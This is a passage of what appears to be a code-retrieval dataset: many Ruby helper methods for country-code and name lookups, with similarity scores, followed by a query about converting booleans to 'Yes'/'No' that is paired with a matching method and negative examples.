\"Suriname\"\n\t\t\twhen \"SS\"\tthen \"South Sudan\"\n\t\t\twhen \"ST\"\tthen \"Sao Tome and Principe\"\n\t\t\twhen \"SV\"\tthen \"El Salvador\"\n\t\t\twhen \"SX\"\tthen \"Saint Martin\"\n\t\t\twhen \"SY\"\tthen \"Syria\"\n\t\t\twhen \"SZ\"\tthen \"Swaziland\"\n\t\t\twhen \"TC\"\tthen \"Turks and Caicos Islands\"\n\t\t\twhen \"TD\"\tthen \"Chad\"\n\t\t\twhen \"TF\"\tthen \"French Southern and Antarctic Lands\"\n\t\t\twhen \"TG\"\tthen \"Togo\"\n\t\t\twhen \"TH\"\tthen \"Thailand\"\n\t\t\twhen \"TJ\"\tthen \"Tajikistan\"\n\t\t\twhen \"TK\"\tthen \"Tokelau\"\n\t\t\twhen \"TL\"\tthen \"Timor-Leste\"\n\t\t\twhen \"TM\"\tthen \"Turkmenistan\"\n\t\t\twhen \"TN\"\tthen \"Tunisia\"\n\t\t\twhen \"TO\"\tthen \"Tonga\"\n\t\t\twhen \"TR\"\tthen \"Turkey\"\n\t\t\twhen \"TT\"\tthen \"Trinidad and Tobago\"\n\t\t\twhen \"TV\"\tthen \"Tuvalu\"\n\t\t\twhen \"TW\"\tthen \"Taiwan\"\n\t\t\twhen \"TZ\"\tthen \"Tanzania\"\n\t\t\twhen \"UA\"\tthen \"Ukraine\"\n\t\t\twhen \"UG\"\tthen \"Uganda\"\n\t\t\twhen \"UM_DQ\"\tthen \"Jarvis Island\"\n\t\t\twhen \"UM_FQ\"\tthen \"Baker Island\"\n\t\t\twhen \"UM_HQ\"\tthen \"Howland Island\"\n\t\t\twhen \"UM_JQ\"\tthen \"Johnston Atoll\"\n\t\t\twhen \"UM_MQ\"\tthen \"Midway Islands\"\n\t\t\twhen \"UM_WQ\"\tthen \"Wake Island\"\n\t\t\twhen \"US\"\tthen \"United States\"\n\t\t\twhen \"UY\"\tthen \"Uruguay\"\n\t\t\twhen \"UZ\"\tthen \"Uzbekistan\"\n\t\t\twhen \"VA\"\tthen \"Vatican City\"\n\t\t\twhen \"VC\"\tthen \"Saint Vincent and the Grenadines\"\n\t\t\twhen \"VE\"\tthen \"Venezuela\"\n\t\t\twhen \"VG\"\tthen \"British Virgin Islands\"\n\t\t\twhen \"VI\"\tthen \"US Virgin Islands\"\n\t\t\twhen \"VN\"\tthen \"Vietnam\"\n\t\t\twhen \"VU\"\tthen \"Vanuatu\"\n\t\t\twhen \"WF\"\tthen \"Wallis and Futuna\"\n\t\t\twhen \"WS\"\tthen \"Samoa\"\n\t\t\twhen \"YE\"\tthen \"Yemen\"\n\t\t\twhen \"YT\"\tthen \"Mayotte\"\n\t\t\twhen \"ZA\"\tthen \"South Africa\"\n\t\t\twhen \"ZM\"\tthen \"Zambia\"\n\t\t\twhen \"ZW\"\tthen \"Zimbabwe\"\n\t\t\telse\n\t\t\t\t\"ERROR\"\n\t\tend\n\tend",
"def country_code\n @country_code.to_s\n end",
"def country(code, name); end",
"def format_country(country)\n return country if country == '' || country == 'Global'\n\n begin\n IsoCountryCodes.find(country).name\n rescue\n # Fallback to raw value\n country\n end\n end",
"def selected_country_code(address)\n address.country_code.blank? ? 'AU' : address.country_code\n end",
"def country_code\n \"+#{fetch('country_code')}\"\n end",
"def country_name\n ISO3166::Country[country_code].name if country_code.present?\n end",
"def get_country_name_lib country_code\n country = Carmen::Country.coded(country_code)\n if country\n country.name\n else\n \"N/A\"\n end\n end",
"def country\n 'Australia'\n end",
"def country_code; end",
"def country_code; end",
"def country_name\n cc = carmen_country\n\n cc ? \"#{cc.name}\" : ''\n end",
"def country_code_map\r\n {\r\n 'Ägypten' => 'eg',\r\n 'Albanien' => 'al',\r\n 'Algerien' => 'dz',\r\n 'Argentinien' => 'ar',\r\n 'Australien' => 'au',\r\n 'Belgien' => 'be',\r\n 'Bosnien-Herzegowina' => 'ba',\r\n 'Brasilien' => 'br',\r\n 'Chile' => 'cl',\r\n 'Costa Rica' => 'cr',\r\n 'Dänemark' => 'dk',\r\n 'Deutschland' => 'de',\r\n 'Ecuador' => 'ec',\r\n 'Elfenbeinküste' => 'ci',\r\n 'England' => '_England',\r\n 'Frankreich' => 'fr',\r\n 'Ghana' => 'gh',\r\n 'Griechenland' => 'gr',\r\n 'Honduras' => 'hn',\r\n 'Iran' => 'ir',\r\n 'Irland' => 'ie',\r\n 'Island' => 'is',\r\n 'Italien' => 'it',\r\n 'Japan' => 'jp',\r\n 'Kamerun' => 'cm',\r\n 'Kolumbien' => 'co',\r\n 'Kroatien' => 'hr',\r\n 'Marokko' => 'ma',\r\n 'Mexiko' => 'mx',\r\n 'Niederlande' => 'nl',\r\n 'Nigeria' => 'ng',\r\n 'Nordirland' => '_Northern_Ireland',\r\n 'Österreich' => 'at',\r\n 'Panama' => 'pa',\r\n 'Peru' => 'pe',\r\n 'Polen' => 'pl',\r\n 'Portugal' => 'pt',\r\n 'Rumänien' => 'ro',\r\n 'Russland' => 'ru',\r\n 'Saudi-Arabien' => 'sa',\r\n 'Schweden' => 'se',\r\n 'Schweiz' => 'ch',\r\n 'Senegal' => 'sn',\r\n 'Serbien' => 'rs',\r\n 'Slowakei' => 'sk',\r\n 'Spanien' => 'es',\r\n 'Südkorea' => 'kr',\r\n 'Tschechien' => 'cz',\r\n 'Tunesien' => 'tn',\r\n 'Türkei' => 'tr',\r\n 'Ukraine' => 'ua',\r\n 'Ungarn' => 'hu',\r\n 'USA' => 'us',\r\n 'Uruguay' => 'uy',\r\n 'Wales' => '_Wales'\r\n }\r\nend",
"def country_code_map\r\n {\r\n 'Ägypten' => 'eg',\r\n 'Albanien' => 'al',\r\n 'Algerien' => 'dz',\r\n 'Argentinien' => 'ar',\r\n 'Australien' => 'au',\r\n 'Belgien' => 'be',\r\n 'Bosnien-Herzegowina' => 'ba',\r\n 'Brasilien' => 'br',\r\n 'Chile' => 'cl',\r\n 'Costa Rica' => 'cr',\r\n 'Dänemark' => 'dk',\r\n 'Deutschland' => 'de',\r\n 'Ecuador' => 'ec',\r\n 'Elfenbeinküste' => 'ci',\r\n 'England' => '_England',\r\n 'Finnland' => 'fi',\r\n 'Frankreich' => 'fr',\r\n 'Ghana' => 'gh',\r\n 'Griechenland' => 'gr',\r\n 'Honduras' => 'hn',\r\n 'Iran' => 'ir',\r\n 'Irland' => 'ie',\r\n 'Island' => 'is',\r\n 'Italien' => 'it',\r\n 'Japan' => 'jp',\r\n 'Kamerun' => 'cm',\r\n 'Kanada' => 'ca',\r\n 'Katar' => 'kz',\r\n 'Kolumbien' => 'co',\r\n 'Kroatien' => 'hr',\r\n 'Marokko' => 'ma',\r\n 'Mexiko' => 'mx',\r\n 'Niederlande' => 'nl',\r\n 'Nigeria' => 'ng',\r\n 'Nordirland' => '_Northern_Ireland',\r\n 'Nordmazedonien' => 'mk',\r\n 'Österreich' => 'at',\r\n 'Panama' => 'pa',\r\n 'Peru' => 'pe',\r\n 'Polen' => 'pl',\r\n 'Portugal' => 'pt',\r\n 'Rumänien' => 'ro',\r\n 'Russland' => 'ru',\r\n 'Saudi-Arabien' => 'sa',\r\n 'Schottland' => '_Scotland',\r\n 'Schweden' => 'se',\r\n 'Schweiz' => 'ch',\r\n 'Senegal' => 'sn',\r\n 'Serbien' => 'rs',\r\n 'Slowakei' => 'sk',\r\n 'Spanien' => 'es',\r\n 'Südkorea' => 'kr',\r\n 'Tschechien' => 'cz',\r\n 'Tunesien' => 'tn',\r\n 'Türkei' => 'tr',\r\n 'Ukraine' => 'ua',\r\n 'Ungarn' => 'hu',\r\n 'USA' => 'us',\r\n 'Uruguay' => 'uy',\r\n 'Wales' => '_Wales'\r\n }\r\nend",
"def get_country_name_from_code(country_code)\n if country_code.present?\n country = ISO3166::Country[country_code]\n country.translations[I18n.locale.to_s] || country.name\n end\n end",
"def country_name\n iso_country = ISO3166::Country[country] # `country` should be code like 'AU'\n iso_country.translations[I18n.locale.to_s] || iso_country.name\n end",
"def get_country_name( code )\n # Strip and lowercase code\n new_code = code.strip.downcase\n # Find country by code. If not found, default to empty string.\n country = $COUNTRIES.find do |record|\n record[:code] == new_code.downcase\n end || ''\n\n return country.length > 0 ? \"The country you selected is #{country[:name]}.\" :\n 'That country code is not in our database.'\nend",
"def country_code=(country_code)\n if country_code\n if country_code.is_a?(String)\n @country_code = country_code.strip.upcase.to_sym\n elsif country_code.is_a?(Symbol)\n @country_code = country_code.upcase\n end\n end\n end",
"def country_code\n end",
"def country\n 'United Kingdom'\n end",
"def country=(value)\n @country = value\n\n @format = case country_code\n when nil, '' then nil\n else LocalPostal::Format.from_country_code(country_code)\n end\n end",
"def country_name\n country = ISO3166::Country[country_code]\n country.translations[I18n.locale.to_s] || country.name\n end",
"def country_name\n country = ISO3166::Country[country_code]\n country.translations[I18n.locale.to_s] || country.name\n end",
"def country_name\n country = ISO3166::Country[country_code]\n country.translations[I18n.locale.to_s] || country.name\n end",
"def country\n if(@country_code.to_i == 280)\n IsoCountryCodes.find(276) #since 1990 we use 176 for whole germany, 280 was for \"west germany\" WTF\n else\n IsoCountryCodes.find(@country_code)\n end\n end",
"def country_code\n if self.uk?\n UK_COUNTRY_CODE\n else\n IE_COUNTRY_CODE\n end\n end",
"def default_code\n \"#{country}-#{abbreviation}\"\n end",
"def address_country=(v)\n @address_country = alma_string v\n end",
"def country_code\n end",
"def country\n @country ||= IsoCountryCodes.find(alpha2)\n end",
"def country_name\n country = ISO3166::Country[country_code]\n # country.translations[I18n.locale.to_s] || country.name\n # country.name\n end",
"def remap_iso_code(iso_code)\n {\n 'AN' => 'BQ',\n 'BDE' => 'BD',\n 'DN' => 'DM',\n 'H' => 'HT',\n 'KV' => 'XK',\n 'TX' => 'TZ',\n }.fetch(iso_code, iso_code)\n end",
"def country_code\n decode hash[\"CountryCode\"]\n end",
"def iban_country_code\n sample(translate('faker.bank.iban_details').keys).to_s.upcase\n end",
"def carmen_country\n return unless country.is_a?(String)\n\n Carmen::Country.named(country) || Carmen::Country.coded(country)\n end",
"def country\n ISO3166::Country[@country_code]\n end",
"def iso3166_alpha2_code_from_name(orig_country_name)\n country_name = orig_country_name&.strip\n\n return \"US\" if ACCEPTABLE_USA_VARIATIONS.include?(country_name&.downcase)\n\n iso3166_code = ISO3166::Country.find_country_by_name(country_name)\n iso3166_code = ISO3166::Country.find_country_by_alpha3(country_name) if iso3166_code.blank?\n\n if iso3166_code.blank?\n fail InvalidCountryNameError, \"no ISO 3166 country code found for \\\"#{country_name}\\\"\"\n end\n\n iso3166_code.alpha2\n end",
"def locode\n \"#{country_code.to_s} #{city_code.to_s}\".strip\n end",
"def represented_country; end",
"def iban_country_code; end",
"def country_name\n countryfull = ISO3166::Country[country]\n countryfull.translations[I18n.locale.to_s] || countryfull.name\n end",
"def itu2iso(number)\n name = country_for(number)\n\n if name.is_a?(String)\n Helpers.country_code_lookup(name)\n elsif name.is_a?(Array)\n name.map do |s|\n Helpers.country_code_lookup(s)\n end\n end\n end",
"def country_code=(value)\n @country_code = value\n end",
"def company_code\n if self.yard.present? && self.yard.facility.present? && self.yard.facility.country.present?\n country = self.yard.facility.country\n \"COPART#{country.code}\".upcase\n else\n \"\"\n end\n end",
"def replace_country_code( value )\n $COUNTRIES.each do |record|\n # Replace country code with emoji using gsub\n # Use interpolation with regex then compare the variable with i option to ignore case sensitivity \n value = value.gsub(/#{record[:code]}/i, record[:code].flag_emoji+\" \") # I chose not to use gsub with ! because it was modifying the reference variable\n end\n return value\nend",
"def country_codes; end",
"def country_codes; end",
"def country_codes; end",
"def country_codes; end",
"def country_codes; end",
"def country_codes; end",
"def country_to_language(country_code)\n\n # sources:\n # http://en.wikipedia.org/wiki/List_of_Internet_top-level_domains\n # http://www.w3.org/WAI/ER/IG/ert/iso639.htm\n # http://msdn.microsoft.com/en-us/library/ms693062%28v=vs.85%29.aspx\n\n # country_code => language_code\n mappings = {\n # English\n :au => :en,\n :ca => :en,\n :eu => :en,\n :ie => :en,\n :nz => :en,\n :sg => :en,\n :uk => :en,\n :us => :en,\n\n # French\n :cd => :fr,\n :cg => :fr,\n :cm => :fr,\n :fr => :fr,\n :mg => :fr,\n\n # German\n :at => :de,\n :ch => :de,\n :de => :de,\n :li => :de,\n :lu => :de,\n\n # Portuguese\n :ao => :pt,\n :br => :pt,\n :mz => :pt,\n :pt => :pt,\n\n # Spanish\n :ar => :es,\n :cl => :es,\n :co => :es,\n :cu => :es,\n :es => :es,\n :mx => :es,\n\n # All other languages\n :bg => :bg,\n :by => :be,\n :cn => :zh,\n :cz => :cs,\n :dk => :da,\n :ee => :et,\n :fi => :fi,\n :gr => :el,\n :hr => :hr,\n :hu => :hu,\n :il => :he,\n :in => :hi,\n :is => :is,\n :it => :it,\n :jp => :ja,\n :kr => :ko,\n :lt => :lt,\n :lv => :lv,\n :mn => :mn,\n :nl => :nl,\n :no => :no,\n :pl => :pl,\n :ro => :ro,\n :rs => :sr,\n :ru => :ru,\n :se => :sv,\n :si => :sl,\n :sk => :sk,\n :th => :th,\n :tr => :tr,\n :ua => :uk,\n :vn => :vi,\n }\n\n if mappings.has_key?(country_code.to_sym)\n mappings[country_code.to_sym].to_s\n else\n # fall back for all other missing mappings\n I18n.default_locale.to_s\n end\n\n end",
"def country\n RAILS_DEFAULT_LOGGER.debug(\"profile.country -- returning #{setting(:company_country)}\")\n \n setting(:company_country).to_s\n end",
"def country_code_long; end",
"def get_iso_country(country)\n #Kinda redundant but downcasing first makes the hardcoding a bit more obvious\n country = country.downcase\n\n if country == \"bosnia-herzogovnia\"\n country = \"bosnia and herzogovnia\"\n elsif country == \"russia\"\n country = \"russian federation\"\n elsif country == \"laos\"\n country = \"lao peoples democratic republic\"\n elsif country == \"iran\"\n country = \"islamic republic of iran\"\n elsif country == \"taiwan\"\n country = \"province of china taiwan\"\n elsif country == \"north korea\"\n country = \"democratic people's republic of korea\"\n elsif country == \"south korea\"\n country = \"republic of korea\"\n elsif country == \"basque spain\"\n country = \"spain\"\n elsif country == \"macedonia\"\n country = \"the former yugoslav republic of macedonia\"\n elsif country == \"tanzania\"\n country = \"united republic of tanzania\"\n elsif country == \"vietnam\"\n country = \"viet nam\"\n elsif country == \"venezuela\"\n country = \"bolivarian republic of venezuela\"\n elsif country == \"syria\"\n country = \"syrian arab republic\"\n elsif country == \"rep.dem.congo\"\n country = \"congo\"\n elsif country == \"dagestan\"\n country = \"russian federation\"\n elsif country == \"adygea\"\n country = \"russian federation\"\n elsif country == \"karachaevo circassia\"\n country = \"russian federation\"\n elsif country == \"tartarstan\"\n country = \"russian federation\"\n #elsif country == \"ivory coast\"\n # This seems like the wrong way of doing this but not sure how else to guarentee the match\n #country = \"CÃTE D'IVOIRE\".downcase\n end\n\n country = normalize(country)\n \n @@iso_country_codes.xpath(\"//ISO_3166-1_Entry\").each do |code|\n n_country = normalize(code.xpath(\"ISO_3166-1_Country_name\")[0].content)\n\n if (country.upcase == n_country.upcase)\n return code.xpath(\"ISO_3166-1_Alpha-2_Code_element\")[0].content\n end\n end\n return \"ZZ\"\n end",
"def short_country_name(name)\n if name.include? ' '\n temp = name.split(' ')\n temp[0][0] + temp[1][0]\n else\n name[0..2].upcase\n end\nend",
"def short_country_name(name)\n if name.include? ' '\n temp = name.split(' ')\n temp[0][0] + temp[1][0]\n else\n name[0..2].upcase\n end\nend",
"def name_to_iso_code(name)\n {\n 'Cambodia' => 'KH',\n 'Gibraltar' => 'GI',\n 'Ivory Coast' => 'CI',\n 'Latvia' => 'LV',\n 'Mozambique' => 'MZ',\n 'Norway' => 'NO',\n 'Slovenia' => 'SI',\n 'Tuvalu' => 'TV',\n }[name]\n end",
"def human_code(code)\n case code\n when 'ADM1' then :province\n when 'ADM2', 'ADM3', 'ADM4' then :city\n else :other\n end\n end",
"def get_country_name country_code\n country = Country.find(\n :first,\n :conditions => [\"LOWER(Code) = ?\", country_code]\n )\n if country\n country.Name\n else\n \"N/A\"\n end\n end",
"def process_country_names(country)\n # country.map do |c|\n country.gsub!('&', 'and')\n country.gsub /\\s+/, '-'\n # end\n end",
"def human_code(code)\n case code\n when 'ADM1' then :region\n when 'ADM2', 'ADM3', 'ADM4' then :city\n else :other\n end\n end",
"def phone_number_with_country_code; end",
"def country_code\n return @country_code\n end",
"def country_code\n (self.country.nil? ? nil : self.country.code)\n end",
"def state_country_name\n [state_abbr_name, country.try(:name)].compact.join(', ')\n end",
"def state_country_name\n [state_abbr_name, country.try(:name)].compact.join(', ')\n end",
"def country_code\n @root.xpath('./ns:CountryCode/text()').to_s\n end",
"def country_code\n Geocoder.search(hotel.city).first.country_code\n rescue Exception\n 'CZ'\n end",
"def phone_number_with_country_code\n \"#{country_code} #{phone_number}\"\n end",
"def country_name(country_code)\n cache_for = Rails.env.production? ? 8.hours : 1.minute\n Rails.cache.fetch(country_code, expires_in: cache_for, race_condition_ttl: 10) do\n country_info = LocationInfo::Country.where(\"alpha2 = ?\",country_code)\n country_name = country_info.present? ? country_info.first[:harman_name] : \"\"\n country_name\n end # Rails.cache.fetch(country_code, expires_in: cache_for, race_condition_ttl: 10) do\n end",
"def international\n return \"+#{sanitized}\" unless valid?\n\n format = @data[country][:format]\n if matches = @national_number.match(/#{format[Core::PATTERN]}/)\n fmt = format[:intl_format] || format[:format]\n national = fmt.gsub(/\\$\\d/) { |el| matches[el[1].to_i] }\n else\n national = @national_number\n end\n\n \"+#{@data[country][Core::COUNTRY_CODE]} #{national}\"\n end",
"def country_name_to_code(name: T.unsafe(nil)); end",
"def hecho_en\n 'china'\n end",
"def country\n @country || @default_country || 'GB'\n end",
"def country; end",
"def country; end",
"def country; end",
"def country_code=(code)\n self.country = Country.find_by_code(code)\n end",
"def get_country_code\n Geonames::WebService.country_code @latitude, @longitude\n end",
"def iso2itu(iso_code)\n country_name = Helpers.country_name_lookup(iso_code)\n find_by_name(country_name)\n end",
"def geoip_country_code(ip)\n geoip = GeoIP.new(Settings.geoip.db_path)\n geoip.country(ip).country_code2\nend",
"def country_name(multilingual = false)\n if self.country\n country_data = ISO3166::Country[self.country]\n\t\t\tif country_data and multilingual\n\t\t\t country_data.translations[I18n.locale.to_s] || country_data.name\n\t\t\telsif country_data\n\t\t\t country_data.name\n\t\t\telse\n\t\t\t self.country\n\t\t\tend\n else\n \"\"\n end\n end",
"def normalize_phone_number(phone,country_code=1)\n if phone\n phone = phone.to_s.sub(/^011/,\"+\")\n \"+\" + (phone.start_with?(\"+\") ? '' : country_code.to_s) + phone.gsub(/\\D/,'') \n end\n end",
"def test_that_it_adds_the_default_country\n hash = PigeonBand.format(\"1-1-1\")\n assert_equal \"DE\", hash[:code]\n end",
"def location\n c = Country.find_country_by_alpha2(country)\n country_name = !c.nil? ? c.name : nil\n if (postcode and country)\n return postcode + \", \" + (country_name or country)\n else\n return (postcode or country_name or country)\n end\n end",
"def locale\n (self.country.blank? or self.country.indonesia?) ? :id : :en\n end",
"def cell_phone_with_country_code; end",
"def get_verbose_name\n country_desc = (self.country_code.nil? || (self.country_code == \"I\")) ? \"\" :\n \" #{self.country} (#{self.country_code})\"\n get_full_name + country_desc\n end",
"def country\n location[2] || location[1]\n end",
"def set_country_from_http_accept_language\n\n #\"HTTP_ACCEPT_LANGUAGE\\\"=>\\\"en-us,en;q=0.5\\\"\n accept_language = request.env['HTTP_ACCEPT_LANGUAGE']\n \n language = 'en'\n locale = 'us'\n \n unless accept_language.nil?\n language = accept_language[0,2] unless accept_language.length < 2\n locale = accept_language[3,2] unless accept_language.length < 5\n end\n \n case locale\n when 'us' then\n @customer.country = 'US'\n when 'ca' then\n @customer.country = 'CA'\n when 'gb' then \n @customer.country = 'GB'\n end \n end",
"def set_Country(value)\n set_input(\"Country\", value)\n end",
"def set_Country(value)\n set_input(\"Country\", value)\n end",
"def set_Country(value)\n set_input(\"Country\", value)\n end",
"def set_Country(value)\n set_input(\"Country\", value)\n end",
"def set_Country(value)\n set_input(\"Country\", value)\n end",
"def country=(value)\n\t\t\t@country = value\n\t\tend"
] | [
"0.79442674",
"0.7809843",
"0.77949905",
"0.7592245",
"0.7531377",
"0.74884015",
"0.7444261",
"0.74237597",
"0.7387312",
"0.72821397",
"0.7242137",
"0.7216055",
"0.7196977",
"0.7196977",
"0.71336573",
"0.7094743",
"0.708637",
"0.7041646",
"0.70227927",
"0.7021154",
"0.7018162",
"0.6977594",
"0.6977232",
"0.697605",
"0.6968923",
"0.6968923",
"0.6968923",
"0.694428",
"0.69339013",
"0.6923146",
"0.6916191",
"0.69129527",
"0.688992",
"0.68894595",
"0.68801355",
"0.6859943",
"0.681512",
"0.68043697",
"0.6784201",
"0.67821723",
"0.67729676",
"0.6757652",
"0.6743196",
"0.6732543",
"0.67006016",
"0.6694537",
"0.66790795",
"0.666606",
"0.6658638",
"0.6658638",
"0.6658638",
"0.6658638",
"0.6658638",
"0.6658638",
"0.6629566",
"0.6615524",
"0.66042024",
"0.65954936",
"0.6585142",
"0.6585142",
"0.6584023",
"0.6566591",
"0.65291667",
"0.65135443",
"0.6510402",
"0.6490708",
"0.64897376",
"0.64532244",
"0.641005",
"0.641005",
"0.6404557",
"0.6397851",
"0.63919926",
"0.6372476",
"0.63624924",
"0.63496375",
"0.6335856",
"0.62870914",
"0.62870646",
"0.62870646",
"0.62870646",
"0.6285713",
"0.62839854",
"0.6279603",
"0.62643015",
"0.62535846",
"0.62437564",
"0.6233842",
"0.62141764",
"0.6210612",
"0.6208595",
"0.61747956",
"0.61695296",
"0.61666524",
"0.6151732",
"0.6151732",
"0.6151732",
"0.6151732",
"0.6151732",
"0.6150365"
] | 0.71554726 | 14 |
Yes or no, turns true/false in to yes/no | def yes_or_no(value = false)
value ? "Yes" : "No"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def yes_no(bool)\n case bool\n when 1\n \"yes\"\n when 0\n \"no\"\n end\n end",
"def as_yes_or_no(boolean)\n boolean ? 'Yes' : 'No'\n end",
"def yes_or_no(boolean)\n\t if boolean\n\t 'Yes'\n else\n 'No'\n end\n end",
"def yesno(bool)\n return 'N/A' if bool.nil?\n bool ? 'YES' : 'NO'\n end",
"def yesno(s)\n puts s ? 'yes' : 'no'\n end",
"def boolean_to_word_yes(bol)\n if bol \n return \"Yes\"\n else\n return \"\"\n end\n end",
"def bool_to_word bool\n if bool == true\n return \"Yes\"\n end\n \"No\"\nend",
"def bool_to_word bool\r\n if bool\r\n return 'Yes'\r\n else\r\n return 'No'\r\n end\r\nend",
"def boolean_to_human(test)\n test ? \"Yes\" : \"No\"\n end",
"def yes?\r\n input.to_s[0,1].downcase == 'y' or input.to_i == 1\r\n end",
"def bool_to_word bool\n if bool == \"true\"\n \"Yes\"\n else\n \"No\"\n end\nend",
"def human_boolean(boolean_statement)\n\t\tboolean_statement ? \"Yes\" : \"No\"\n\tend",
"def bool_to_word(bool)\n bool ? 'Yes' : 'No'\nend",
"def yes_no reply\n\tif reply == 'yes'\n\t\treturn true\t\n\telsif reply == 'no'\n\t\treturn false\n\telse\n\t\tputs \"Please answer yes or no\"\n\t\treturn nil\n\tend\nend",
"def is_yes?(input)\n input.downcase == \"yes\" ? true : false\n end",
"def convert_to_boolean(value)\n if value == \"yes\"\n true\n else\n false\n end\nend",
"def display_boolean(value)\n value == \"true\" ? \"Yes\" : \"No\"\n end",
"def ask_boolean(question)\n yes? ask(question, true, ['y/n'])\n end",
"def boolean_to_word(bol)\n if bol \n return \"Yes\"\n else\n return \"No\"\n end\n end",
"def boolean_to_word(bol)\n if bol \n return \"Yes\"\n else\n return \"No\"\n end\n end",
"def bool_to_word(boolean)\n if boolean == true\n return \"Yes\"\n elsif boolean == false\n return \"No\"\n else\n nil\n end\nend",
"def tbool(b)\n t(b ? \"common._yes\" : \"common._no\")\n end",
"def yes_or_no(question)\n\t\twhile true\n\t\t\tprint (question + \" (y/n): \")\n\t\t\tresponse = gets.chomp.strip.downcase\n\t\t\tif response == 'y' || response == 'yes'\n\t\t\t\treturn true\n\t\t\telsif response == 'n' || response == 'no'\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\tend",
"def yes?\n choose do |menu|\n menu.prompt = ''\n menu.choice('yes') { true }\n menu.choice('no') { false }\n end\n end",
"def valid_yesno?(data)\n data == 'y' || data == 'n' ? (true) : (false)\nend",
"def bool_to_string(value)\n return 'yes' if value == true\n return 'no' if value == false\n value # if it doesn't match anything\n end",
"def display_boolean(value:)\n return 'Unspecified' if value.nil?\n\n value ? 'Yes' : 'No'\n end",
"def notify_boolean(value)\n value.present? ? 'yes' : 'no'\n end",
"def to_enable(value)\n value == :true ? 'Yes' : 'No'\n end",
"def yes=(value)\n @yes = value\n end",
"def yn_booleen(value)\n\tif value == \"y\"\n\t\treturn true\n\telsif value == \"n\"\n\t\treturn false\n\telse\n\t\tp \"Sorry, that response was not understood. Please use 'y' for yes and 'n' for no.\"\n\t\treturn value\n\tend #if\nend",
"def ask_for_yes_no(msg)\n ['y','yes'].include?(ask_for_user_input(\"#{msg} [y/N]\").strip.downcase)\nend",
"def is_yesno(answer)\n [answer.downcase == \"y\", \"\"]\nend",
"def prompt_yes_no(msg, default)\n def yes_no(x)\n return (x.downcase == \"y\" or x.downcase == \"yes\" or\n x.downcase == \"n\" or x.downcase == \"no\")\n end\n return promptFunction(msg, default, method(:yes_no)).chars.first == \"y\"\n end",
"def convert(value)\n case value.to_s\n when /^(yes|y|t(rue)?|1)$/i\n return true\n when /^(no|n|f(alse)?|0)$/i\n return false\n else\n fail TypeError, \"Expected boolean type, got #{value}\"\n end\n end",
"def yes?(question)\r\n answer = ask(question).downcase\r\n answer == \"y\" || answer == \"yes\"\r\n end",
"def bool(val)\n case val.to_s.downcase\n when 'y', 'yes', 'on', 't', 'true'\n true\n when 'n', 'no', 'off', 'f', 'false'\n false\n else\n nil\n end\nend",
"def performer_yes?\n\t \t\tperformer == \"yes\"\n\t\tend",
"def to_bool\n is_a?(::TrueClass) || self == :true || self == :yes || self == :on\n end",
"def yes_or_no(model, method, current_value)\r\n case current_value\r\n when true\r\n get('yes_' + model.to_s + method.to_s)\r\n else\r\n get('no_' + model.to_s + method.to_s)\r\n end\r\n end",
"def is_true(user_input)\n if user_input == \"yes\"\n true\n else\n false\n end\nend",
"def yes?(question)\n answer = ask(question).downcase\n answer == \"y\" || answer == \"yes\"\n end",
"def to_boolean\r\n\t !!(self.to_s =~ /^(true|t|yes|y|1)$/i)\r\n\tend",
"def to_boolean(val)\n val && (val.to_s.match(/(true|t|yes|y|1)$/i) != nil)\n end",
"def truthy(verdad)\n\tif verdad == 't'\n\t\tverdad = true\n\telsif verdad == \"true\"\n\t\tverdad = true\n\telse\n\t\tverdad = false\n\tend\nend",
"def getYesOrNo ( question )\n response = getInput(\"#{question} (y/n)\")\n\n if response.downcase == \"y\"\n true\n elsif response.downcase == \"n\"\n false\n else\n puts \"Invalid response\\n\"\n getYesOrNo( question )\n end\nend",
"def to_bool(str)\n str = str.to_s.downcase\n return true if str == 'yes' or str == 'true' or str == 'on'\n return true if str.to_i > 0\n return false\n end",
"def to_yn(bool)\n\t\t\treturn bool ? 'Y' : 'N'\n\t\tend",
"def yes?(question, options={})\n print \"#{question} [Y/n] \"\n input = STDIN.readline.chomp.downcase\n BOOLEAN_MAP[input] || true\n end",
"def yes?(input)\n input[/^(y|Y)/].to_s.downcase == 'y'\n end",
"def apphelp_boolean( bool )\n apphelp_generic( bool ? :yes : :no )\n end",
"def query_gender_neutral\n print 'Would you prefer a gender neutral experience? y/n '\n query_yesno == 'y' ? (return true) : (return false)\nend",
"def boolean_to_word_no(bol)\n if bol \n return \"\"\n else\n return \"No\"\n end\n end",
"def yes? response \r\n case response\r\n when \"y\", \"Y\"\r\n return true\r\n when \"n\", \"N\", \"exit\"\r\n return false\r\n else\r\n puts \"Please enter y/Y or n/N:\".colorize(:red)\r\n yes?(gets.chomp)\r\n end\r\n end",
"def wordify_boolean(bool)\n# bool ? t(:\"shared.boolean.yes\") : t(:\"shared.boolean.no\")\n bool ? \"Ja\" : \"Nein\"\n end",
"def to_human\n \"yes\"\n end",
"def ask_yes_or_no question\n case(r = ask_getch(question, \"ynYN\"))\n when ?y.ord, ?Y.ord\n true\n when nil\n nil\n else\n false\n end\n end",
"def convert_to_boolean(value)\n value != 'no'\n end",
"def convert_to_boolean(variable)\n\tif variable == \"y\"\n\t\tvariable = TRUE\n\telsif variable == \"n\"\n\t\tvariable = FALSE\n\tend\nend",
"def no?(question)\r\n !yes?(question)\r\n end",
"def to_bool\n return true if ['true', '1', 'yes', 'on', 't'].include? self\n return false if ['false', '0', 'no', 'off', 'f'].include? self\n return false\n end",
"def yes_no?(msg)\n answer = ui.ask(\"#{msg} yes/no ? \") do |res|\n res.case = :down\n res.validate = /y|n|yes|no/\n res.responses[:not_valid] = \"Use 'yes', 'no', 'y', 'n':\"\n end\n\n case answer\n when 'y', 'yes'\n true\n when 'n', 'no'\n false\n end\n end",
"def true_false_answer(answer)\n answer.upcase=~/t/i ? index = 0 : index = 1\n frm.radio(:name=>/deliverTrueFalse/, :index=>index).set\n end",
"def yes_or_no\n\t\tinput = nil\n\t\tuntil input != nil\n\t\t\tinput = case gets.chomp.downcase\n\t\t\twhen \"yes\", \"y\" then \"yes\"\n\t\t\twhen \"no\", \"n\" then \"no\"\n\t\t\telse nil\n\t\t\tend\n\t\t\tputs \"That's not a valid option!\" if not input\n\t\tend\n\t\tinput\n\tend",
"def yes_no_q(question)\n\tresponse = \"\"\n\tloop do\n\t\tp question + \" (y/n)\"\n \t\tresponse = gets.chomp\n \t\tresponse = yn_booleen(response)\n \t\tbreak if response == true || response == false\n \tend #loop\n \tresponse\nend",
